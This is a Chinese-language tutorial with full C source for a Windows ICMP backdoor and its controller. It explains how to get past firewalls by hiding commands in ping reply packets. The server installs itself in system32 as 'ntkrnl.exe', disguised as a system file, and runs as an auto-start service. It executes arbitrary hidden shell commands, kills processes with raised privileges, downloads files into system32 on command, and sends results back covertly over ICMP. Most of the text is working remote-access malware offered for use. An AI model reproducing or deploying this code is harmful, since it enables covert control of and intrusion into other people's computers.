1 關于icmp的介紹
ICMP 的全稱為(Internet Control Message Protocal)。它是一種差錯報告機制,可以被用來向目的主機報告或者請求各種網絡資訊。這些資訊包括回送應答(ping),目的地不可達,源站抑制,回送請求,掩碼請求和掩碼應答,還有是路由跟蹤等。這些資訊是用ICMP資料報報頭中一個位元組長度的類型碼來差別的。
ICMP協定有一個特點是它是無連結的,是由IP子產品實作。由于IP層協定是一種點對點的協定,而非端對端的協定,它提供無連接配接的資料報服務,沒有端口的概念,是以,我們隻需要設定IP位址就能發送ICMP資料。我們可以在ICMP包中添加資料進行發送,就像利用TCP連接配接發送資料那樣。
ICMP的資料報是封裝在IP報頭裡的。與其它協定的資料報一樣,它也是由報頭加上資料部分構成的,其報頭的格式一個結構結構來表示:(要注意裡面的順序不能搞錯)
typedef struct _ihdr
{
BYTE i_type;//8位類型
BYTE i_code; //8位代碼
USHORT i_cksum;//16位校驗和
USHORT i_id;//辨別号
USHORT i_seq;//封包序列号
ULONG timestamp;//時間截
} IcmpHeader;
理論上的ICMP封包最多可以攜帶65500byte的資料。
2 icmp可以穿透防火牆的原因
當我們ping别人時,我們發出的是類型為8的ICMP資料包,而别人收到這個資料包就會傳回一個類型為0的ICMP資料包。防火牆允許我們ping别人,實際上就是允許類型為8的ICMP包出去同時允許類型為0的ICMP包進來。而别人ping我們時,發給我們的是類型為8的ICMP資料包,這時這個資料包就會被防火牆攔截了。
防火牆允許自己ping别人,就一定會讓類型為8的ICMP包出去和讓類型為0的ICMP包進來。是以,把帶有指令的ICMP包僞裝成類型為0的ICMP包,防火牆就以為是你ping别人後傳回的ICMP包,這個包就可以進來了。而帶有執行結果的ICMP包我們就把它做成類型為8的發出去,防火牆會以為你想ping别人,那麼這個包也就可以出去了。這樣就可以穿透防火牆了哦。
3 icmp後門的整體思路
首先,我們要自己構造ICMP資料包,然後往資料包的後面添加上我們要遠端主機執行的指令再把資料包發送到遠端主機。遠端主機要想收到我們的資料包,這時就要用到socket raw程式設計,也就是建立一個sniff來嗅探ICMP類型的資料包。收到資料包後,要進行解包,把ICMP資料包後面的指令提取出來,然後處理執行。再把執行的結果又放進一個ICMP資料包裡,再發回給用戶端。客戶段把結果提取出來,列印在螢幕上。這就是基本的實作原理。
4 測試環境:
服務端:xpsp3 192.168.1.55
用戶端: xpsp3 192.168.1.66
http伺服器 win7 192.168.1.100
測試結果:
1服務的安裝

2程式将exe檔案拷貝到system32下,并注冊為服務。
3 程序的列出
4 殺程序
5 http下載下傳
6 下載下傳成功
// service.cpp:
#include <winsock2.h>
#include <stdio.h>
#include <urlmon.h>
#include <tlhelp32.h>
#pragma comment(lib, "Urlmon.lib")
#pragma comment(lib, "ws2_32.lib")
#define ICMP_PASSWORD 1234
#define STATUS_FAILED 0xFFFF
#define MAX_PACKET 6500
#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
/* The IP header */
typedef struct iphdr {
unsigned int h_len:4; //4位首部長度
unsigned int version:4; //IP版本号,4表示IPV4
unsigned char tos; //8位服務類型TOS
unsigned short total_len; //16位總長度(位元組)
unsigned short ident; //16位辨別
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存時間 TTL
unsigned char proto; //8位協定 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP; //32位源IP位址
unsigned int destIP; //32位目的IP位址
}IpHeader;
//定義ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位類型
BYTE i_code; //8位代碼
USHORT i_cksum; //16位校驗和
USHORT i_id; //識别号(一般用程序号作為識别号)
USHORT i_seq; //封包序列号
ULONG timestamp; //時間戳
}IcmpHeader;
char arg[256];
char buffer[2048] = {0};//管道輸出的資料
void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函數
void fill_icmp_data(char * icmp_data);
void pslist(void);
BOOL killps(DWORD id);//殺程序函數
void send(void);
char *ICMP_DEST_IP;
USHORT checksum(USHORT *buffer, int size);
HANDLE hMutex;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;
void WINAPI ICMP_CmdStart(DWORD,LPTSTR *);
void WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID);
void InstallCmdService(void);
void RemoveCmdService(void);
void usage(char *par);
int main(int argc,char *argv[])
{
SERVICE_TABLE_ENTRY DispatchTable[]={{"ntkrnl",ICMP_CmdStart},{NULL,NULL}};
//說明服務的一些相關資訊,服務名,服務主函數ICMP_CmdStart
if(argc==2)//傳入參數為2時
{
if(!stricmp(argv[1],"-install"))
{
usage(argv[0]);
InstallCmdService();//服務安裝
}
else if(!stricmp(argv[1],"-remove"))
{
usage(argv[0]);
RemoveCmdService();//解除安裝服務
}
else
usage(argv[0]);
return 0;
}
else
usage(argv[0]);
StartServiceCtrlDispatcher(DispatchTable);//将服務主線程連接配接到scm,調用ICMP_CmdStart
return 0;
}
void WINAPI ICMP_CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
HANDLE hThread;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);//将CmdControl注冊,用于處理服務控制請求
if(ServiceStatusHandle==0)
{
OutputDebugString("RegisterServiceCtrlHandler Error !\n");
return ;
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)//更新狀态資訊
{
OutputDebugString("SetServiceStatus in CmdStart Error !\n");
return ;
}
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);//建立新線程
if(hThread==NULL)
{
OutputDebugString("CreateThread in CmdStart Error !\n");
}
return ;
}
void WINAPI CmdControl(DWORD dwCode)
{
switch(dwCode)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
WaitForSingleObject(hMutex,INFINITE);
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}
ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)//更改服務狀态
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}
return ;
}
DWORD WINAPI CmdService(LPVOID lpParam)//這裡是服務的主函數,把你的代碼寫在這裡就可以成為服務
{
char *icmp_data;
int bread,datasize,retval;
SOCKET sockRaw = (SOCKET)NULL;
WSADATA wsaData;
struct sockaddr_in dest,from;
int fromlen = sizeof(from);
int timeout = 2000;
char *recvbuf;
if ((retval = WSAStartup(MAKEWORD(2,2),&wsaData)) != 0)//初始化winsock
{
printf("WSAStartup failed: %s\n",retval);
ExitProcess(STATUS_FAILED);
}
sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);//建立icmp原始套接字
if (sockRaw == INVALID_SOCKET)
{
printf("WSASocket() failed: %s\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
__try{
bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));//設定逾時
if(bread == SOCKET_ERROR) __leave;
memset(&dest,0,sizeof(dest));
dest.sin_family = AF_INET;
datasize=0;
datasize += sizeof(IcmpHeader);
icmp_data =(char*)xmalloc(MAX_PACKET);
recvbuf = (char*)xmalloc(MAX_PACKET);
if (!icmp_data) {
//fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());
__leave;
}
memset(icmp_data,0,MAX_PACKET);
for(;;) {
int bwrote;
bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));//向用戶端發送資料
bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);//接受資料
if (bread == SOCKET_ERROR)
{
if (WSAGetLastError() == WSAETIMEDOUT)continue;
__leave;
}
decode_resp(recvbuf,bread,&from);//解icmp包
Sleep(200);
memset(recvbuf,0,sizeof(recvbuf));
}
}
__finally {
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
WSACleanup();
}
return 0;
}
void InstallCmdService(void)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpCurrentPath[MAX_PATH];
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwErrorCode;
SERVICE_STATUS InstallServiceStatus;
///檔案的拷貝/
GetSystemDirectory(lpImagePath,MAX_PATH);//得到系統目錄
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
printf("Transmitting File ... ");
hSearch=FindFirstFile(lpImagePath,&FileData);//查找是否已經存在
if(hSearch==INVALID_HANDLE_VALUE)//不存在
{
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);//擷取程式全路徑
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) //覆寫的方式拷貝
{
dwErrorCode=GetLastError();
if(dwErrorCode==5)
{
printf("Failure ... Access is Denied !\n");
}
else
{
printf("Failure !\n");
}
return ;
}
else
{
printf("Success !\n");
}
}
else
{
printf("already Exists !\n");
FindClose(hSearch);
}
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);//連接配接到SCM
if(schSCManager==NULL)
{
printf("Open Service Control Manager Database Failure !\n");
return ;
}
printf("Creating Service .... ");
schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); //建立服務
if(schService==NULL)
{
dwErrorCode=GetLastError();
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
{
printf("Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
else
{
printf("already Exists !\n");
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);//打開已存在的服務
if(schService==NULL)
{
printf("Opening Service .... Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
}
}
else
{
printf("Success !\n");
}
printf("Starting Service .... ");
if(StartService(schService,0,NULL)==0) //開啟服務
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("already Running !\n");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
}
else
{
printf("Pending ... ");
}
while(QueryServiceStatus(schService,&InstallServiceStatus)!=0) //擷取目前服務狀态
{
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);//關閉服務句柄
return ;
}
void RemoveCmdService(void)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE hSearch;
DWORD dwErrorCode;
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);//連接配接到scm
if(schSCManager==NULL)
{
printf("Opening SCM ......... ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure !\n");
}
else
{
printf("Failuer ... Access is Denied !\n");
}
return ;
}
schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);//打開服務
if(schService==NULL)
{
printf("Opening Service ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists !\n");
}
else
{
printf("Failure !\n");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service .... ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0) //擷取服務狀态
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("already Stopped !\n");
}
else
{
printf("Pending ... ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
//停止服務
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
}
}
else
{
printf("Failure !\n");
}
}
}
else
{
printf("Query Failure !\n");
}
printf("Removing Service .... ");
if(DeleteService(schService)==0)//從scm資料庫中删除服務
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService); //關閉服務句柄
printf("Removing File ....... ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);//要删除的檔案是否存在
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !\n");
}
else
{
if(DeleteFile(lpImagePath)==0)//删除
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
FindClose(hSearch);
}
return ;
}
void decode_resp(char *buf, int bytes,struct sockaddr_in *from)
{
IpHeader *iphdr;
IcmpHeader *icmphdr;
unsigned short iphdrlen;
iphdr = (IpHeader *)buf;
iphdrlen = iphdr->h_len * 4 ;
icmphdr = (IcmpHeader*)(buf + iphdrlen);
if(icmphdr->i_seq==ICMP_PASSWORD)//密碼正确則輸出資料段
{
ICMP_DEST_IP=inet_ntoa(from->sin_addr);//取得ICMP包的源位址
memcpy(arg,buf+iphdrlen+12,256);
if (!memcmp(arg,"pskill",6))//傳入指令為pskill
{
killps(atoi(strstr(arg," ")));
memcpy(buffer,"Process is Killed!",sizeof("Process is Killed!"));
send();
}
else if (!memcmp(arg,"pslist",6)){pslist();send();}
else if (!strcmp(arg,"remove\n"))
{
RemoveCmdService();
memcpy(buffer,"Service Removed!",sizeof("Service Removed!"));
send();
return;
}
************ http下載下傳 *************
else if (!memcmp(arg,"http://",7))
{
if(char *FileName=strstr(arg,"-"))
{
char url[200];//儲存網址的數組
memset(url,0,200);
memcpy(url,arg,int(FileName-arg-1));
char fname[MAX_PATH];
GetSystemDirectory(fname,MAX_PATH);//獲得系統目錄
FileName++;
strcat(fname,"\\");
strcat(fname,FileName);
*strstr(fname,"\n")=NULL;
HRESULT hRet=URLDownloadToFile(0,url,fname,0,0);//下載下傳到本地
memset(buffer,0,sizeof(buffer));
if(hRet==S_OK) memcpy(buffer,"Download OK!\n",sizeof("Download OK\n"));
else
memcpy(buffer,"Download Failure!\n",sizeof("Download Failure!\n"));
send();
return;
}
}
//**********************************其它指令,也就是指令行下指令*********
else{
SECURITY_ATTRIBUTES sa;//建立匿名管道用于取得cmd的指令輸出
HANDLE hRead,hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
printf("Error On CreatePipe()");
return;
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;//隐藏視窗
char cmdline[270];
GetSystemDirectory(cmdline,MAX_PATH+1);
strcat(cmdline,"\\cmd.exe /c"); //單管道
strcat(cmdline,arg);
if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
{
printf("Error on CreateProcess()");
return;
}
CloseHandle(hWrite);
DWORD bytesRead;
for(;;){
if (!ReadFile(hRead,buffer,2048,&bytesRead,NULL))break;
Sleep(200);
}
//printf("%s",buffer);
/
//發送輸出資料
send();
}
}
//else printf("Other ICMP Packets!\n");
//printf(endl;
}
USHORT checksum(USHORT *buffer, int size) //計算校驗和
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
void fill_icmp_data(char * icmp_data)
{
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr = (IcmpHeader*)icmp_data;
icmp_hdr->i_type = 0;
icmp_hdr->i_code = 0;
icmp_hdr->i_id = (USHORT) GetCurrentProcessId();
icmp_hdr->i_cksum = 0;
icmp_hdr->i_seq =4321;
icmp_hdr->timestamp = GetTickCount(); //設定時間戳
datapart = icmp_data + sizeof(IcmpHeader);
memcpy(datapart,buffer,strlen(buffer));
//for(int i=0;i<sizeof(buffer);i++) datapart[i]=buffer[i];
}
void usage(char *par)//用法函數
{
printf("\t\tUsage: %s -install (to install service)\n",par);
printf("\t\t %s -remove (to remove service)\n",par);
printf("\n");
return ;
}
void send(void)
{
WSADATA wsaData;
SOCKET sockRaw = (SOCKET)NULL;
struct sockaddr_in dest;
int bread,datasize,retval,bwrote;
int timeout = 1000;
char *icmp_data;
if((retval=WSAStartup(MAKEWORD(2,2),&wsaData)) != 0) ExitProcess(STATUS_FAILED);//初始化winsock
if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))
==INVALID_SOCKET) ExitProcess(STATUS_FAILED);
__try
{
if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR) __leave;
//設定發送逾時
memset(&dest,0,sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);
datasize=strlen(buffer);
datasize+=sizeof(IcmpHeader);
icmp_data=(char*)xmalloc(MAX_PACKET);
if(!icmp_data) __leave;
memset(icmp_data,0,MAX_PACKET);
fill_icmp_data(icmp_data); //填充ICMP封包
((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize); //計算校驗和
bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); //發送封包
if (bwrote == SOCKET_ERROR)
{
//if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n");
//printf("sendto failed:"<<WSAGetLastError()<<endl;
__leave;
}
//printf("Send Packet to %s Success!\n"<<ICMP_DEST_IP<<endl;
}
__finally
{
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
WSACleanup();
}
memset(buffer,0,sizeof(buffer));
Sleep(200);
}
void pslist(void)//列出程序
{
HANDLE hProcessSnap = NULL;
PROCESSENTRY32 pe32= {0};
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//建立目前所有程序的快照
if (hProcessSnap == (HANDLE)-1)
{
printf("\nCreateToolhelp32Snapshot() failed:%d",GetLastError());
return ;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
printf("\nProcessName ProcessID");
if (Process32First(hProcessSnap, &pe32))//取得快照中第一個程序資訊
{
char a[5];
do
{
strcat(buffer,pe32.szExeFile);//程序名
strcat(buffer,"\t\t");
itoa(pe32.th32ProcessID,a,10);//程序id
strcat(buffer,a);
strcat(buffer,"\n");
//printf("\n%-20s%d",pe32.szExeFile,pe32.th32ProcessID);
}
while (Process32Next(hProcessSnap, &pe32));//去快照中的下一個程序
}
else
{
printf("\nProcess32Firstt() failed:%d",GetLastError());
}
CloseHandle (hProcessSnap);
return;
}
BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)//提示權限
{
TOKEN_PRIVILEGES tp;
LUID luid;
if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
{
printf("\nLookupPrivilegeValue error:%d", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL);
// Call GetLastError to determine whether the function succeeded.
if (GetLastError() != ERROR_SUCCESS)
{
printf("AdjustTokenPrivileges failed: %u\n", GetLastError() );
return FALSE;
}
return TRUE;
}
BOOL killps(DWORD id)//殺程序函數
{
HANDLE hProcess=NULL,hProcessToken=NULL;
BOOL IsKilled=FALSE,bRet=FALSE;
__try
{
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hProcessToken))//打開目前程式令牌
{
printf("\nOpen Current Process Token failed:%d",GetLastError());
__leave;
}
//printf("\nOpen Current Process Token ok!");
if(!SetPrivilege(hProcessToken,SE_DEBUG_NAME,TRUE))//提升權限
{
__leave;
}
printf("\nSetPrivilege ok!");
if((hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id))==NULL)//打開程序對象
{
printf("\nOpen Process %d failed:%d",id,GetLastError());
__leave;
}
//printf("\nOpen Process %d ok!",id);
if(!TerminateProcess(hProcess,1))//終止程序
{
printf("\nTerminateProcess failed:%d",GetLastError());
__leave;
}
IsKilled=TRUE;
}
__finally
{
if(hProcessToken!=NULL) CloseHandle(hProcessToken);
if(hProcess!=NULL) CloseHandle(hProcess);
}
return(IsKilled);
}
============================================================================================================
// 用戶端client.cpp:
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32.lib")//link
char SendMsg[256];
//定義ip首部
typedef struct iphdr {
unsigned int h_len:4; //4位首部長度
unsigned int version:4; //IP版本号,4表示IPV4
unsigned char tos; //8位服務類型TOS
unsigned short total_len; //16位總長度(位元組)
unsigned short ident; //16位辨別
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存時間 TTL
unsigned char proto; //8位協定 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP; //32位源IP位址
unsigned int destIP; //32位目的IP位址
}IpHeader;
//定義icmp首部
typedef struct _ihdr
{
BYTE i_type;//8位類型
BYTE i_code; //8位代碼
USHORT i_cksum;//16位校驗和
USHORT i_id;//識别号(一般用程序号作為識别号)
USHORT i_seq;//封包序列号
ULONG timestamp;//時間截
} IcmpHeader;
#define STATUS_FAILED 0xFFFF
#define MAX_PACKET 2500
char arg[1450];
#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (s))//宏定義
void fill_icmp_data(char *, int);
USHORT checksum(USHORT *, int);
void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函數
void help(void);
void usage(char * prog);
int main(int argc, char *argv[])
{
char *ICMP_DEST_IP; //目标主機的IP
char *recvbuf;
if(argc!=2) //傳入參數個數不為2,顯示用法,結束程式
{
usage(argv[0]);
return 0;
}
ICMP_DEST_IP=argv[1];//取得目标主機IP
WSADATA wsaData;
SOCKET sockRaw;
struct sockaddr_in dest,from;//兩個sockaddr_in的變量
int datasize;
int fromlen=sizeof(from);
char *icmp_data;
if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)//初始化winsock
{
fprintf(stderr, "WSAStartup failed: %d\n", GetLastError());
ExitProcess(STATUS_FAILED);
}
sockRaw=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
int timeout=1000;
//設定逾時
setsockopt(sockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) &timeout, sizeof(timeout));
//timeout=4000;
//setsockopt(sockRaw, SOL_SOCKET, SO_RCVTIMEO, (char *) &timeout, sizeof(timeout));
memset(&dest,0,sizeof(dest));
dest.sin_addr.s_addr=inet_addr(ICMP_DEST_IP);
dest.sin_family=AF_INET;
usage(argv[0]);
__try{
for(;;){ //循環擷取使用者輸入的指令,打包,發送至用戶端,接受來自用戶端的傳回資訊,然後顯示。
printf("ICMP-CMD>");
fgets(SendMsg,1024,stdin);//取得指令行,儲存在SendMsg數組中
//傳入參數的判斷
if(!strcmp(SendMsg,"Q\n")||!strcmp(SendMsg,"q\n"))ExitProcess(0);
if(!strcmp(SendMsg,"\n"))continue;
if(!strcmp(SendMsg,"H\n")||!strcmp(SendMsg,"h\n")){help();continue;}
if(!memcmp(SendMsg,"http://",7))
if(!strstr(SendMsg,"-")){printf("\nFileName Error. Use \"-FileName\"\n");continue;}
datasize=strlen(SendMsg);
datasize+=sizeof(IcmpHeader);
printf("ICMP packet size is %d",datasize);//icmp資料包大小
icmp_data= (char*)xmalloc(MAX_PACKET);
recvbuf= (char *)xmalloc(MAX_PACKET);
memset(icmp_data,0, MAX_PACKET);
fill_icmp_data(icmp_data, datasize);
((IcmpHeader *)icmp_data)->i_cksum=0;
((IcmpHeader *)icmp_data)->i_cksum=checksum((USHORT *)icmp_data, datasize);//校驗和
int bwrote=sendto(sockRaw, icmp_data, datasize, 0, (struct sockaddr *) &dest, sizeof(dest));//向服務端發送icmp包
if (bwrote == SOCKET_ERROR)
{
if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n");
fprintf(stderr,"sendto failed: %d\n",WSAGetLastError());
}
if (bwrote<datasize ) {//沒有把所有的資料發送出去,也出錯了。
return 0;
}
printf("\nSend Packet to %s Success!\n",argv[1]);
DWORD start = GetTickCount();//擷取時間戳
for(;;){
if((GetTickCount() - start) >= 1000) break;
memset(recvbuf,0,MAX_PACKET);
int bread=recvfrom(sockRaw, recvbuf, MAX_PACKET, 0, (struct sockaddr *) &from, &fromlen);//從服務端接受資料
if(bread == SOCKET_ERROR)
{
if(WSAGetLastError() == WSAETIMEDOUT)
{
printf("timed out\n");
break;
}
fprintf(stderr, "recvfrom failed: %d\n", WSAGetLastError());
break;
}
decode_resp(recvbuf, bread, &from);//調用解包函數
}
}//end for
}//end try
__finally
{
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
WSACleanup();
}
return 0;
}
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size > 1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size)
{
cksum+=*(UCHAR *)buffer;
}
cksum=(cksum >> 16) + (cksum & 0xffff);
cksum+=(cksum >> 16);
return(USHORT) (~cksum);
}
void fill_icmp_data(char *icmp_data, int datasize)
{
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr= (IcmpHeader *)icmp_data;//強制類型轉換
icmp_hdr->i_type=0;
icmp_hdr->i_code=0;
icmp_hdr->i_id=(USHORT)GetCurrentProcessId();
icmp_hdr->timestamp =GetTickCount();
icmp_hdr->i_seq=1234;
datapart=icmp_data + sizeof(IcmpHeader);
memcpy(datapart,SendMsg,sizeof(SendMsg));
}
void usage(char * prog)
{
printf("\t\tusage: %s RemoteIP\n",prog);
printf("\t\tCtrl+C or Q/q to Quite H/h for help\n");
}
void decode_resp(char *buf, int bytes,struct sockaddr_in *from)
{
memset(arg,0,sizeof(arg));
IpHeader *iphdr;
IcmpHeader *icmphdr;
unsigned short iphdrlen;
iphdr = (IpHeader *)buf;
iphdrlen = iphdr->h_len * 4 ;
icmphdr = (IcmpHeader*)(buf + iphdrlen);
if(icmphdr->i_seq==4321)//密碼正确則輸出資料段
{
int argLen=0;
printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
printf(" IcmpType %d",icmphdr->i_type);
printf(" IcmpCode %d",icmphdr->i_code);
printf("\n");
memcpy(arg,buf+iphdrlen+12,1450);
printf("%s\n",arg);
}
else printf("Other ICMP Packets!\n");
}
void help(void) //幫助資訊
{
printf("\n");
printf("[http://127.0.0.1/hack.exe -admin.exe] (Download Files. Parth is \\\\system32)\n");
printf("[pslist] (List the Process)\n");
printf("[pskill ID] (Kill the Process)\n");
printf("Command (run the command)\n");
printf("\n");
}
http://tieba.baidu.com/p/1053149629